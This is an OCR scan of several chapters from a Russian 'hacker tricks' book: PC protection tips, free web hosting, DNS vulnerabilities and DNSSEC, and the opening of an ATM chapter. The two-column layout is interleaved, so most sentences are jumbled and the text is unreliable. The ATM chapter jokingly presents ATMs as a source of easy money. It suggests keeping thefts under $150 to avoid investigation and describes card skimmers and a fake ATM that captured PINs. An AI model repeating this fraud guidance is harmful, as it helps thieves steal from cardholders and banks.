как для защиты от вирусов. В первую очередь — предохранение. Не сто
то, и другое может привести к потере информации. Иногда компьютер
ит запускать неизвестно откуда взявшиеся программы, а особенно при
может просто отсоединиться от Сети.
шедшие к вам по почте или полученные в чате. В качестве защиты реко
мендуется также установить себе на компьютер современную Предвидя популярный вопрос, адреса, по которым доступны та
антивирусную программу, например, AVP. Другой подход: установка кие программы, указывать не будем. Лучше коснемся другого вопроса.
Хакерские трюки 187 188 Хакерские трюки

Ведь для того, чтобы осуществить такого рода атаку, злоумышленник Глава 13.
обязан знать ваш IPадрес (а также TCPпорт, но это уже тонкости). Как
же он может его узнать? Чаще всего злодею и не нужно искать адрес. Ведь Мой адрес — не дом и не улица...
его цель — просто разрушение. Атака ведется на адреса, угаданные слу
чайно. От такого подхода не скрыться. Но если всетаки ваш адрес был В наше время слово «адрес» все чаще вызывает ассоциацию не
вычислен целенаправленно, то как это было сделано? Очень легко это с названием города или улицы, а с комбинацией латинских букв, и «дом,
осуществить через ICQ. ICQ может показать ваш IPадрес. Обязательно милый дом» – это уже, скорее, не квартира, а дисковое пространство на
установите флажок, запрещающий показывать IPадрес. Правда, в этом удаленном сервере. Иногда кажется, что происходит массовое переселе
случае остается возможность подсмотреть адрес посредством стандарт ние, своеобразный исход из реального мира в виртуальный. Рано или
ной утилиты netstat. Это возможно в случае, если соединение осуще поздно, но у большинства странников в пространстве Internet после пе
ствляется напрямую — побороть это можно посредством настройки ра риода «хождения в гости» и посещения различных публичных мест воз
боты ICQ через анонимный проксисервер. никает желание построить свой собственный «Дом» на какомлибо
сервере.
Кроме ICQ, ваш IPадрес может быть получен через IRC. Если вы
пользуетесь IRC, то вся информация об адресе становится доступной по И если реальный дом нам нужен в первую очередь для того, чтобы
средством стандартной команды whois. растить детей, то есть следовать своему «основному инстинкту» сохране
ния и повторения, то информационный виртуальный Дом (Home) поз
Если ваш недруг находится в одной локальной сети с вами, то он воляет реализовать те же сохранительные и размножительные ин
может узнать ваш IPадрес по сетевому имени вашей машины, посред стинкты в области идей. Здесь главное – чтоб было что сохранять и
ством стандартных утилит типа ping, tracert и др. Сделать здесь нельзя размножать. Счетчик посещений беспристрастно определит, насколько
ничего, радует лишь то, что злоумышленик находится в пределах прямой вы интересны окружающим. Когда значение на нем превысит первую
досягаемости и можно воздействовать на него административными или тысячу, ваши пятнадцать минут удовлетворения от того, что вам есть что
физическими методами. сказать, перейдут в постоянную уверенность и радость от того, что это
Если вам жизненно необходимо показывать свой IPадрес, как все комунибудь нужно...
же защитить себя от кибервандалов? Самый главный совет — это свое Крайне приятно обнаружить такую запись в гостевой книге свое
временно устанавливать все исправления к вашей операционной систе го сайта. Особенно если запись вторая, а сайт первый.
ме. Что касается Windows — Microsoft регулярно находит и исправляет
ошибки. Но довольно философствовать, перейдем к конкретному вопросу:
где же лучше всего заниматься информационным размножением? Пред
Исправления (патчи) становятся доступны практически сразу. ложений по бесплатному размещению домашних страниц в Internet`е бо
Для Windows NT основные исправления называются сервиспаками лее чем достаточно. Ниже приведены характеристики лишь некоторых
(service pack). Для Windows 95/98 выпускается просто масса отдельных наиболее известных серверов:
заплаток. Настоятельно рекомендуется периодически заходить на сайт
Microsoft и скачивать свежие патчи. Chat.ru (российский)
Другой совет — это установка файрволла. Такая программа смо Загрузка файлов как при помощи браузера, так и по FTP.
жет защитить от некоторых атак (не от всех, поскольку работа файрвол
Новая почта (Newmail) (российский)
ла базируется на стандартном TCP/IP стеке).
16 Мбайт, включая 3 почтовых ящика. Загрузка файлов только по
Будьте бдительны и постарайтесь сделать все, чтобы вас не укусил FTPдоступу.
серенький волчок. Пусть даже за бочок.
ZBmail (российский)
Загрузка файлов только при помощи браузера.
Хакерские трюки 189 190 Хакерские трюки

Tripod (англоязычный) Несомненно, важным критерием выбора сервера является способ


Загрузка файлов как при помощи браузера, так и по FTP. доступа для загрузки и обновления информации. Если сокращение FTP
(File Transfer Protocol) вам ни о чем не говорит, а английское слово tag
Xoom (англоязычный) вызывает лишь смутные ассоциации, то вам лучше всего воспользовать
Загрузка файлов как при помощи браузера, так и по FTP. ся online редакторами, позволяющими создать простую страницу прямо
на сайте. Если же страница уже есть, то загрузить ее можно при помощи
AngelFire (англоязычный) менеджера файлов самого сервера. В этом случае будет достаточно ваше
Загрузка файлов как при помощи браузера, так и по FTP. го браузера. Для создания более сложных страниц придется разобраться
в работе какоголибо HTMLредактора и воспользоваться FTPдосту
При выборе сервера, вопервых, следует обратить внимание на
пом, а это требует хотя бы начальной пользовательской подготовки.
объем предоставляемого дискового пространства. Однако не советуем
выбирать сервер исключительно по принципу «где больше дают». По В последнее время появился ряд российских серверов, способных
пробуйте для начала заполнить разумным содержанием свой первый ме по качеству предоставляемых услуг конкурировать с наиболее известны
габайт... ми американскими. Их отличает еще одна положительная черта – воз
можность регистрации короткого, легко запоминаемого адреса. Это
Вовторых, ознакомьтесь заранее с ограничениями, диктуемыми
прежде всего касается служб Zmail и «Новая почта». Так, при регистра
характером и назначением сайта. На каждом сервере существуют свои
ции бесплатного почтового ящика на Zmail выделяется 100 Кбайт дис
правила. Например, сервер XOOM запрещает выкладывать на сайт бан
кового пространства и, самое главное, короткий адрес домена третьего
неры от иных коммерческих структур, кроме XOOM'a. То есть если вы
уровня типа name.ru.ru или name.go.ru. Такую небольшую площадку с за
рассчитываете получить вознаграждение за размещение чьейлибо рек
поминающимся адресом удобно использовать как индекс для переходов
ламы, вам следует остановить свой выбор на любом другом сервере, где
на другие ресурсы, реальное расположение которых может меняться.
подобные действия разрешены.
Недавно обновленный, популярный российский сервер Chat.ru
Важно понимать, что хотя дисковое пространство выделяется бес
также предоставляет короткое пользовательское имя и программное
платно, серверы являются коммерческими – за размещение вашей стра
обеспечение, позволяющее создать простую страницу в режиме online.
ницы платят рекламодатели. Так, например, на сервере XOOM при обра
щении к странице в верхней части окна появляется постоянная заставка Для работы со своим сайтом крайне важным является наличие
со ссылками на другие предлагаемые услуги. «Это» висит в верхней час гостевой книги, конференции и счетчика посещений. Их отсутствие на
ти каждой пользовательской страницы на сервере XOOM. Она загружа некоторых серверах легко скомпенсировать за счет использования уни
ется один раз и остается на все время вашего присутствия на сайте, зани версальных гостевой книги «Guest world» и конференции (форума). Они
мая часть экранного пространства. Еще один баннер появится на вашей могут быть размещены на любом сайте. А в качестве счетчика удобно ис
странице, если вы установите счетчик посещений с гостевой книгой пользовать ранкер Апорт, который в различных вариантах исполнения
XOOMcounter. может показывать количество посещений за день, за неделю и их сум
марное количество, а кроме этого, означает включение в популярную по
Angelfire более лоялен по отношению к «сайтовладельцу». Он пре
исковую систему Апорт.
доставляет все те же возможности, но с меньшей рекламной нагрузкой.
Рекламное Adwindow (окно), появляющееся при обращении к пользо Большинство серверов предлагает дополнительные возможности
вательской странице, может быть свернуто в процессе загрузки, чтобы для популяризации сайта, както: регистрация в общем каталоге пользо
больше не загромождать экран. Закрывать совсем его не следует, так как вателей и наличие системы обмена баннеров.
тогда оно будет загружаться вновь с каждым переходом со страницы на
Некоторые российские провайдеры предоставляют условно бес
страницу сайта.
платное пространство для размещения пользовательских страниц. Так,
Интегрированный счетчик на Angelfire свободен от баннеров. если вы платите 2025$ в месяц за dialup доступ, то можете получить от
Кроме того, разрешено использовать сайт и для коммерческой деятель МТУ до 5 Мбайт, а от ZenonNSP – до 2 Мбайт бесплатного дискового
ности, причем не только в рамках программ, предлагаемых собственно пространства. При этом имеется доступ к программным средствам, поз
Angelfire. воляющим оживить свой сайт разнообразными интерактивными форма
Хакерские трюки 191 192 Хакерские трюки

ми, счетчиком и гостевой книгой, свободными от чужих баннеров. Но нии отличить от верных данных. Этот факт вызывает особое беспокой
это уже требует более серьезной пользовательской подготовки. ство в связи с тем, что DNS часто используется в качестве системы неяв
ной идентификации.
Конечно, приведенные рекомендации не претендуют на полноту.
Тем не менее с их помощью вы, если захотите, за последующие пятнад Например, когда пользователь обращается из браузера к http://
цать минут сможете создать и опубликовать свою первую страничку в www.examiner.com (узел Web санфранцисской газеты), он, естественно,
Internet`е, даже если не знаете, что такое tag. Надеемся, что эти советы ожидает, что полученная страница Web принадлежит этой газете. Одна
помогут вам сберечь несколько часов времени online для более продук ко протокол DNS не содержит никаких механизмов для подтверждения
тивной работы. факта аутентичности страницы Web.
Хотя пользователь может увидеть страницу San Francisco Examiner
Глава 14. вместо, как он надеялся, местной Examiner своего родного города, это не
самое неприятное, что может случиться: пользователь может получить
Защита DNS страницу Web, не принадлежащую вообще никакой газете, а неким зло
намеренным третьим лицам, намеренно испортившим DNS, чтобы пе
Протокол защиты DNS позволит проверить, что запрошенные ад ренаправить ничего не подозревающих читателей на свой сервер Web,
реса Internet поступили от законного источника и что ответ на запрос со где публикуется сатира на реальную газету или где содержится заведомо
держит аутентичные данные. искаженная информация.
В старые времена — около полутора десятка лет назад — уче В каждой отрасли есть свой злой гений — просто представьте себе,
ныеисследователи, университетские профессора и чиновники Минис что ваш заклятый конкурент мог бы сделать с вашей репутацией, если бы
терства обороны открыто использовали Internet для обмена информаци он получил контроль над базой подписчиков вашего сервера Web всего
ей. Такая система работала, потому что она состояла из небольшого на один день. Неточные или намеренно недостоверные данные могут
сетевого сообщества, члены которого доверяли друг другу. привести к тому, что пользователи столкнутся с отказом в обслуживании
Как быстро все меняется. Сегодня сообщество пользователей или будут перенаправлены на серверы сомнительного содержания. Для
Internet достигло немыслимых размеров, и далеко не каждый его член за решения этой проблемы IETF работает над расширениями защиты для
служивает доверия. Наличие проказливых или злонамеренных пользова протокола DNS — так называемой Domain Name System Security
телей породило потребность в защите. Однако при разработке DNS, од (DNSSEC).
ной из ключевых инфраструктур Internet, защита была отнюдь не
главной целью. Как результат, DNS представляет собой незащищенный От SRIBNIC до DNS
протокол. До появления DNS данные о каждом новом хосте приходилось до
DNS — это иерархическая база данных, содержащая записи с опи бавлять в центральное хранилище Информационного центра сети в
санием имен, IPадресов и другой информации о хостах. База данных на Стенфордском исследовательском институте (Stanford Research Insti
ходится на серверах DNS, связанных с Internet и частными сетями tute`s Network Information Center, SRINIC), отвечавшем за предоставле
Intranet. Проще говоря, DNS предоставляет сетевым приложениям услу ние такой информации до начала 90х. SRINIC затем публиковал этот
ги каталога по преобразованию имен в адреса, когда им требуется опре файл, и он посредством массового копирования поступал на все хосты
делить местонахождение конкретных серверов. Например, имя DNS ис сети агентства по перспективным исследованиям (Advanced Research
пользуется каждый раз при отправке сообщения электронной почты или Projects Agency Network, ARPANET).
доступе к странице Web. Другая проблема такого метода управления именами хостов состо
Проблема в том, что нет никакого способа проверить, что ответ яла в его плоской структуре. Каждое зарегистрированное в SRINIC имя
DNS поступил от аутентичного источника и содержит аутентичные дан должно было быть уникальным. Например, никакие два хоста нигде в
ные. Немного потрудившись, даже ребенок сможет инфицировать сер Internet не могли одновременно называться www. Как результат,
вер DNS неверными данными, которые клиенты Web будут не в состоя SRINIC уступила место DNS.
Хакерские трюки 193 194 Хакерские трюки

Один из главных вкладов DNS в Internet — возможность уникаль Другое важное преимущество DNS по сравнению с ее предшест
ным образом отображать однозначно идентифицируемые имена хостов венником с плоской структурой — высокая доступность информации по
на IPадреса во всемирном масштабе. Эта процедура известна как пря каждому домену или зоне. (Несмотря на определенные различия между
мое отображение. Среди некоторых других возможностей DNS — обрат понятиями зоны и домена, для целей этой статьи мы будем считать зону
ное отображение (т.е. определение имени хоста по IPадресу), информа синонимом домена.) Каждая зона содержит один основной или первич
ция о серверах электронной почты (идентификация почтового сервера ный сервер, на котором осуществляются все изменения информации по
для данного хоста или домена) и каноническое именование (назначение зоне. Помимо основного сервера, зона содержит вспомогательные или
псевдонимов для имени хоста). вторичные серверы. Таких серверов может быть несколько. Они перио
дически обращаются к основному серверу для проверки факта обновле
В DNS эта информация хранится в записях ресурсов (Resource
ния информации и, если обновление действительно имело место, полу
Records, RR). Каждому типу содержащейся в DNS информации соответ
чения данных по зоне. Данная процедура называется пересылкой зоны.
ствует свой тип RR. Примерами типов записей о ресурсах могут служить
запись A об IPадресе для данного имени хоста, запись NS о сервере имен Каждая зона имеет порядковый номер, увеличиваемый каждый
для данного имени домена и запись MX о почтовом сервере для данного раз при внесении изменений в информацию об этой зоне на основном
имени DNS. сервере. Благодаря этому вспомогательный сервер может без труда обна
ружить факт обновления. Наличие более одной копии зоны обеспечива
Иерархическая упорядоченность DNS обеспечивает уникальность
ет рудиментарную форму распределения нагрузки и высокую доступ
имен хостов. Иерархическая структура DNS имеет вид перевернутого де
ность данных.
рева. При перемещении по дереву от листа к корню мы получаем полное
доменное имя (Fully Qualified Domain Name, FQDN). В DNS всякое имя
FQDN является уникальным. Запрос с указанием имени хоста приводит Уязвимые места защиты DNS
к просмотру структуры дерева от корня до листа в целях нахождения со Вместе с тем такая чрезвычайно эффективная организация обора
ответствующего ему IPадреса. Аналогичное дерево имеется и для обрат чивается множеством слабостей с точки зрения защиты. Например, ког
ного отображения, в случае которого запрос с IPадресом приводит к да удаленная система связывается с приложением, приложение посыла
просмотру структуры этого дерева для нахождения имени хоста или ет запрос для определения имени DNS по ее IPадресу. Если
FQDN для указанного IPадреса. возвращаемое доменное имя соответствует ожидаемому, то удаленной
системе разрешается доступ.
Верхнему уровню перевернутого дерева соответствует корень
DNS. Этот корень обычно обозначается как «.» (т.е. «точка») и является Приведем пример, где DNS атакующего ответственна за сеть
последним символом в FQDN. Первый уровень ниже корня делится на 172.16.0 (0.16.172.inaddr.arpa). Атакующий присваивает обратный адрес
крупные классы, такие как некоммерческие организации (org), коммер 172.16.0.8 хосту с именем trustme.plain.org. Злоумышленник подключает
ческие структуры (com), образовательные учреждения (edu) и т.д. Следу ся к victim.example.com для исследования его доверительных взаимоот
ющий уровень обычно представляет конкретную организацию или ком ношений с trustme.plain.org. Атака оказывается успешной, потому что
панию в домене org, edu или com. Например, isc.org или vix.com. И isc, протокол DNS не предусматривает какоголибо механизма предотвра
и vix называются также именами доменов. щения назначения владельцем обратного адресного пространства до
менных имен за пределами его области полномочий.
Такой способ последовательного деления имен доменов позволя
ет уникальным образом идентифицировать хост в домене (или, возмож Однако при минимальных усилиях злонамеренный пользователь
но, в поддомене), к которому он принадлежит. Благодаря этому ответ может зарезервировать за собой небольшое пространство IPадресов
ственность за управление именами хостов и адресами (их добавлением, и зарегистрировать сервер DNS для обратного отображения IPадресов.
удалением или изменением) может быть передана местным администра Ничто не мешает администратору данного пространства IPадре
торам. Возможность делегирования прав администрирования и локаль сов отобразить определенный IPадрес обратно на не принадлежащее
ного управления именами хостов обеспечивает чрезвычайную гибкость ему FQDN. Затем этот администратор может отобразить IPадрес на имя
и масштабируемость DNS. хоста, которому приложение сконфигурировано доверять. Поэтому при
получении запроса на соединение от системы, которой приложению до
Хакерские трюки 195 196 Хакерские трюки

верять не следует, но чей IPадрес отображается обратно на FQDN, кото ние хэша совпадает с вычисленным, то данные достоверны (не подверга
рому оно доверяет, приложение, не задумываясь, предоставит доступ лись несанкционированному изменению).
этой системе.
Криптографическая подпись и открытый ключ, используемый для
Некоторые из наиболее распространенных приложений, где ко верификации подписи, получают посредством запросов и ответов, как
гдато использовалась такая процедура, были переделаны в целях прове и любую другую информацию в DNS.
дения еще одной проверки — что имя хоста DNS соответствует данному
В случае криптографической подписи аутентификация произво
IPадресу. Однако многие приложения не предусматривают этой допол
дится неявно, на основании факта совпадения дешифрованного и вы
нительной процедуры. Старые версии rlogin, RSH, Network File System
численного значений хэша: только держатель личного ключа мог зашиф
(NFS), X Window и HTTP могут быть попрежнему уязвимы для такого
ровать хэш, так как открытый ключ дал правильное значение хэша.
рода атак.
Таким образом, любая система на базе технологии открытых ключей
Кроме того, DNS уязвима с позиций взлома системы. Если зло должна обеспечивать надежную защиту личных ключей. Этому вопросу
умышленник сможет через одну из сетевых служб (telnet, ftp и т.д.) полу посвящен документ RFC 2541 рабочей группы DNSSEC.
чить несанкционированный доступ к серверу DNS, после этого он полу
чит возможность изменять базу данных DNS, как ему заблагорассудится. Новые записи ресурсов
В такой ситуации протокол DNS опять оказывается беззащитен, потому Криптографические подписи DNSSEC применяются к данным
что он не обеспечивает идентификации данных. по зоне, динамическим обновлениям и транзакциям DNS. Кроме того,
они используются для подтверждения отсутствия данных DNS.
Криптографические подписи DNSSEC предусматривает три новые записи ресурсов — KEY RR, SIG
Для ликвидации названных ограничений протокола DNS IETF RR и NXT RR.
создала рабочую группу DNSSEC (DNSSEC Working Group, DNSSEC
KEY RR содержит открытый ключ, принадлежащий имени доме
WG) для внесения расширений DNSSEC в существующий протокол.
на, указанному в KEY RR. Это не сертификат открытого ключа. Меха
Berkeley Internet Name Daemon (BIND) 8.2 имеет некоторые из функци
низм обеспечения возможностей поиска сертификатов открытых клю
ональных возможностей DNSSEC.
чей предусматривается DNSSEC WG, но не для целей защиты данных
Цель DNSSEC — обеспечить аутентификацию и целостность ин DNS. Он предоставляется в качестве дополнительного бонуса, благодаря
формации, содержащейся в DNS. DNSSEC позволяет достигнуть обеих которому DNS может применяться для запроса сертификатов открытых
целей посредством шифрования. ключей на все, что может быть представлено с помощью имени домена.
Эту возможность обеспечивает CERT RR.
В ответе с DNSSEC ответное сообщение содержит не только под
писи и ключи, необходимые для проверки информации, но и сам исход SIG RR содержит преимущественно криптографическую под
ный вопрос. пись, дату окончания срока годности подписи и определение данных
DNS, к которым эта подпись относится. NXT RR позволяет проверить
Эта процедура называется «Аутентификацией транзакции и за
(за счет использования криптографии), что RR для данного имени DNS
проса». Благодаря ей запрашивающая сторона может быть уверена, что
не существует. Таким образом, отсутствие данной RR может быть под
она получила ответ на тот вопрос, который задавала.
тверждено доказательно.
DNSSEC опирается на шифрование с открытыми ключами для
Другим аспектом DNSSEC является подпись транзакции (Tran
подписи информации, содержащейся в DNS. Такие криптографические
saction Signature, TSIG). TSIG отличается от других подписей DNS тем,
подписи обеспечивают целостность за счет вычисления криптографиче
что она создается с использованием шифрования с секретными клю
ского хэша (т.е. уникальной контрольной суммы) данных и затем защи
чами.
ты вычисленной величины от несанкционированных изменений посред
ством ее шифрования. Хэш шифруется с помощью личного ключа из Протокол DNSSEC как таковой не обеспечивает конфиденциаль
пары ключей, чтобы любой желающий мог воспользоваться открытым ности данных или контроля доступа. Однако конкретные его реализации
ключом для его дешифровки. Если дешифрованное получателем значе могут предусматривать те или иные механизмы обеспечения конфиден
Хакерские трюки 197 198 Хакерские трюки

циальности и контроля доступа. Причина отсутствия такого стандартно мер, на CDROM) от надежного источника (например, от производите
го механизма в DNS в том, что исходный протокол DNS предназначался ля компьютера). Так как корень является прародителем всех имен доме
для работы с общедоступными данными. Озабоченность утечкой инфор нов, для всей DNS нужен только один открытый ключ.
мации относительно имен и местонахождения систем и возможность
Второй механизм защиты, который ввела ISC, проверяет факт по
атак по типу «отказ в обслуживании» порождает спрос на механизмы
ступления протокольного сообщения от заслуживающего доверия ис
обеспечения конфиденциальности и контроля доступа. Этот спрос отра
точника. Это не принципиальное, но чрезвычайно важное различие:
жается в реализациях DNS.
вместо проверки аутентичности данных механизм защиты проверяет ау
Например, реализация BIND предусматривает контроль доступа тентичность отправителя данных.
для предотвращения пересылки зоны не уполномоченным на то систе
Практически все данные DNS поступают из кэшей, а не напрямую
мам. Кроме того, она позволяет запретить серверам DNS отвечать на за
от основных или вспомогательных серверов. Кэши являются серверами
просы определенных систем. Сегодня конфиденциальность частично
DNS, но они не отвечают за эти данные непосредственно, как основные
обеспечивается за счет применения брандмауэров и так называемой рас
или вспомогательные серверы, и могут даже не иметь какихлибо посто
щепленной DNS для затруднения доступа из внешней сети к внутренней
янных собственных данных — все, что знают, они узнают, когда ка
информации DNS.
койлибо клиент задает им вопрос и они вынуждены находить на него от
Internet Software Consortium (ISC) — некоммерческая организа вет. Один типичный трюк, применяемый хакерами, состоит в
ция, занимающаяся реализацией базовых протоколов Internet в виде от бомбардировке клиента ответами именно в те интервалы времени, когда
крытых кодов, — добавила два механизма защиты для наделения сервера клиент ожидает получения ответа от локального кэширующего сервера.
DNS возможностями DNSSEC. Первый определяет аутентичность дан Клиент не в состоянии отличить настоящий ответ от поддельного, по
ных в системе на основании проверки факта их подписи администрато этому он просто использует любой полученный.
ром узла, от которого они якобы поступили.
Клиенту приходится доверять, вопервых, серверу, что он выпол
Однако, как большинство подобных решений, этот метод просто нил свою работу по проверке данных, и, вовторых, ответу, что он дей
смещает акценты в проблеме защиты, ставя вопрос: «Как мы можем ствительно поступил от локального кэширующего сервера, а не от некой
знать, что данные были действительно подписаны тем, кем они должны вторгшейся в диалог третьей стороны.
были быть подписаны?» В случае шифрования с открытыми ключами
подписи генерируются с помощью личного ключа и проверяются с по Подписи транкзаций
мощью открытого ключа. DNSSEC использует для распространения от Этот метод защиты называется TSIG, потому что он предполагает
крытых ключей узлов Internet саму DNS, т.е. необходимый для проверки шифрование сообщения с помощью секретного ключа. Его отличие со
ключ предоставляется с помощью того же самого совершенно незащи стоит в том, что один и тот же ключ используется как для генерации под
щенного протокола, что и данные, которые вы пытаетесь проверить. Ка писи, так и для ее проверки (т.е. вся процедура является закрытой), и что
жется, что мы попали в замкнутый круг, но это не так. общий секретный ключ (также называемый «общим секретом») известен
Один из способов проверить открытый ключ до использования только хостам из одной локальной сети или (в крайнем случае) в одной
его для проверки ответа — взглянуть на подпись самого открытого клю территориальной сети. Использовать TSIG гораздо проще, чем полно
ча. Родительский узел должен подписывать все свои открытые ключи, масштабную защиту DNSSEC.
поэтому в нашем первом примере проверочный (открытый) ключ exam TSIG особенно полезен в случае транзакций DNS UPDATE. Боль
iner.com должен был быть подписан администратором com. Однако шинство транзакций DNS представляет собой запросы относительно на
прежде чем проверять подпись com для examiner.com, нам необходимо личия данных. Транзакция DNS UPDATE вносит изменения в данные
знать открытый (проверочный) ключ для самого com, а он должен быть DNS на узле. Эта транзакция описана в RFC 2136, но для наших целей
подписан родителем com (т.е. вышеупомянутым корнем DNS). Чтобы достаточно будет знать, что она не снабжена собственными механизма
быть абсолютно уверенными в том, что открытые (проверочные) ключи ми защиты.
корня действительно принадлежат ему, они должны находиться на ва
шем компьютере в файле, полученном защищенным образом (напри
Хакерские трюки 199 200 Хакерские трюки

Вследствие того, что обновление DNS осуществляется обычно по Работа продолжается


UDP, а запрос UDP легко подделывается, у сервера нет никаких спосо Работа над некоторыми функциональными сторонами DNSSEC
бов установить, что запрос DNS UPDATE разрешен для данного узла. еще продолжается, например, над тем, как именно администрация com
Если, с другой стороны, клиент UPDATE имеет общий секретный ключ будет подписывать открытые ключи. Соответствующий новый протокол
с сервером DNS и использует его для генерации подписи под запросом, может вскоре появиться. Кроме того, во время смены ключей может по
то сервер UPDATE может воспользоваться тем же самым ключом для требоваться поддерживать одновременно более одной пары откры
проверки подписи и проверки наличия у запрашивающего надлежащих тых/личных ключей, но как это будет реализовано, пока неясно. Если
полномочий. личный ключ окажется украден и, как следствие, должен будет изъят из
обращения, то в настоящее время никаким способом нельзя известить
Недостатки DNSSEC о компрометации ключа тех, кто будет проверять с его помощью под
Подписание и проверка данных DNS, очевидно, создают допол пись.
нительные накладные расходы, отрицательно сказывающиеся на произ
Наконец, это вопрос защиты личного ключа корня. Этот ключ бу
водительности сети и серверов. Подписи занимают немало места, часто
дет по сути ключом ко всей коммерции Internet в мировом масштабе, но
они намного превышают по объему данные, под которыми стоят. Это
администрация корневых серверов постоянно меняется.
увеличивает нагрузку, которую DNS возлагает на магистраль Internet и
многие немагистральные каналы. Генерация и проверка подписей отни Должны ли Соединенные Штаты продолжать администрировать
мают значительное время ЦПУ. это всемирное средство обеспечения электронной коммерции? Если ад
министрирование будет передано некоммерческой отраслевой ассоциа
В некоторых случаях однопроцессорный сервер DNS придется да
ции, например Internet Corporation for Assigned Name and Numbers
же заменить многопроцессорным сервером DNS. Подписи и ключи мо
(ICANN), то сможет ли такая организация учесть интересы и законода
гут занимать на порядок больше места на диске и в оперативной памяти,
тельство всех стран? Должно ли оно быть передано Объединенным На
чем собственно данные. Базы данных и системы управления придется
циям? В состоянии ли Объединенные Нации справиться с подобной от
наращивать, чтобы они могли справляться с возросшими объемами.
ветственностью? В состоянии ли ктонибудь вообще? Развертывание
Кроме того, реализация DNSSEC сопровождается и другими, не DNSSEC во всемирном масштабе невозможно, пока вопрос с админи
столь очевидными затратами. Новое программное обеспечение больше страцией корня не будет урегулирован.
по объему и сложнее, чем прежнее, а многие его компоненты являются
Верно, конечно, что работа над DNSSEC еще не завершена. Одна
совершенно новыми и нуждаются в обширном тестировании в реальных
ко любая организация, активно использующая Internet, должна рассмат
условиях. Пока широкомасштабных испытаний DNSSEC в Internet не
ривать DNSSEC в качестве важнейшего компонента своей инфраструк
проводилось, так что они могут принести множество сюрпризов (воз
туры защиты, потому протокол DNS попрежнему уязвим для
можно, даже придется полностью менять).
злоупотреблений. Только DNSSEC, благодаря своим мощным крипто
Вывод отсюда следующий: развертывание DNSSEC чревато графическим механизмам, в состоянии обеспечить одновременно аутен
столькими же опасностями, как и отказ от него. Мы бы рекомендовали тификацию и целостность всех аспектов DNS.
обождать год или два, пока DNSSEC RFC не получит статуса хотя бы
проекта стандарта. Защита серверов DNS без помощи DNSSEC
На начало 2000 года TSIG полностью и DNSSEC частично были Воспользуетесь ли вы неполной реализацией DNS Security
реализованы только в BIND 8.2. Другие разработчики (включая (DNSSEC) в BIND 8.2 или будете ждать полной стандартизации рас
Microsoft) собираются реализовать различные формы TSIG в следующих ширений защиты, в любом случае вы можете принять некоторые меры
редакциях своих продуктов. Спецификация BIND 9.0 будет содержать предосторожности для защиты информации DNS до появления полной
полную реализацию DNSSEC. реализации DNSSEC. Сервер, где выполняется программное обеспе
чение DNS, должен быть хорошо защищен. Все ПО, включая программ
ное обеспечение DNS, должно быть представлено в последних редак
циях, и к ним должны быть применены все выпущенные заплаты. При
Хакерские трюки 201 202 Хакерские трюки

оценке возможности размещения DNS на сервере вы должны помнить, Впрочем, с юридической точки зрения похищение даже одного
что всякое выполняющееся на сервере сетевое приложение увеличивает доллара — кража. Поэтому, прежде чем отправляться к ближайшему бан
риск взлома. Для сокращения степени риска на сервере должны вы комату с кусачками и отверткой, запаситесь на всякий случай парой ад
полняться только самые необходимые для его работы приложения. За вокатов и захватите Шварценеггера на тот случай, чтобы немножко по
тем вы можете ограничить доступ к этим сервисам и предусмотреть же придержать службу безопасности банка, пока вы будете сматывать
сткую идентификацию для тех приложений, для которых она удочки. Для того чтобы получить деньги, мало найти потерянную кар
необходима. точку и вставить ее в прорезь автомата. Нужно ввести с клавиатуры опре
деленный код, на карточке не написанный и хранящийся у клиента в го
С появлением автоматизированного инструментария сканирова
лове. Сама по себе карточка без него — бесполезный кусок пластика.
ния при выходе в Internet серверы DNS подвергаются постоянному зон
К тому же ее бывший владелец, как только обнаружит пропажу, немед
дированию и попыткам вторжения. Здесь практически ничего нельзя по
ленно позвонит в банк, и у карточки будет выставлен знак изъятия. Дру
делать, так как серверы DNS должны отвечать на запросы.
гими словами, она исчезнет в недрах банкомата и уже больше никогда не
Однако их открытость можно ограничить за счет применения мо попадет к вам в руки. Следовательно, нужно не только найти карточку,
дели расщепленной DNS. При такой модели один сервер DNS с мини но еще и подсмотреть вводимый ее владельцем пароль и снять со счета
мальной информацией помещается с внешней стороны сети, в то время требуемую сумму еще до того, как тот обнаружит пропажу.
как второй сервер — с внутренней стороны. Доступ к этому серверу воз
Впрочем, если мы уж сумели подсмотреть пароль, то и карточку
можен только из внутренней сети, и он содержит всю информацию DNS
воровать совершенно не обязательно. Достаточно ее считать. Что и сде
по внутренней сети.
лали в свое время ребята из Эстонии. История шумная и известная поч
Помните, что внутренние серверы могут подвергнуться атакам и ти каждому кардеру. В дорогих ресторанах официант, пока нес карточку
изнутри сети, поэтому они должны быть защищены так же тщательно, клиента, успевал ее считать портативным устройством размером с пачку
как внешние серверы DNS. На случай, если злоумышленник получит до от сигарет, изготовленным из обычной магнитофонной головки, бата
ступ к серверу, администратор DNS может воспользоваться резюме со рейки, усилителя сигналов и записывающего устройства. Ошибка горя
общения (например, контрольной суммой MD5) для обнаружения факта чих эстонских парней заключалась в том, что они грабили часто и помно
незаконного изменения данных. гу. Другими словами, в жадности.
А вот в другой истории злоумышленникам повезло больше.
Глава 15. Както раз на малолюдной улице одного небольшого городка появился
новый банкомат. Естественно, нашлись такие, что пожелали им вос
Банкомат пользоваться. Опускают в него карточку, вводят нужный пароль. Ждут
себе, ждут, а банкомат им отвечает: извините, мол, нету денег или свя
Банковские автоматы и кредитные карточки уже давно появились зи — в общем, выдает неподозрительное объяснение невозможности вы
на улицах больших городов и постепенно начинают входить в нашу дачи денег. В банке долго понять не могли — как совершается кража?
жизнь. Что есть банкомат с точки зрения хакера? Правильно, источник Почемуто никому и в голову не могла прийти мысль, что этот банко
халявы и быстрого способа заработать немного карманных деньжат. Ведь матто липовый и установлен злоумышленниками специально для чте
если украсть десятокдругой долларов, кто будет вас искать? ния карт и запоминания паролей. Позже его демонтировали, но злоумы
По словам банковских работников, оправданными с финансовой шленников, кажется, так и не нашли. За полтора года (а именно столько
точки зрения будут поиски похитителя, умыкнувшего в свой карман по он умудрился простоять) кардеры перекачали на свой счет немалую сум
крайней мере 300 вечнозеленых. му. Однако же рядовой хакер скорее найдет оброненную кемто впопы
хах тысячедолларовую купюру, чем завалявшийся на свалке банкомат.
Уменьшим эту цифру вдвое для безопасности и примем получен Может быть, есть способ попроще?
ные полтораста баксов в качестве того потолка, заходить за который не
стоит даже в том случае, если оченьочень хочется купить новый микро Есть, но для этого потребуется умение держать паяльник в руках,
процессор или материнскую плату, а к ним быстрый модем впридачу. чтобы смастерить себе некий хардваринговый девайс, а также разбирать
ся в сетевых протоколах на канальном уровне. Идея проста до безобра
Хакерские трюки 203 204 Хакерские трюки

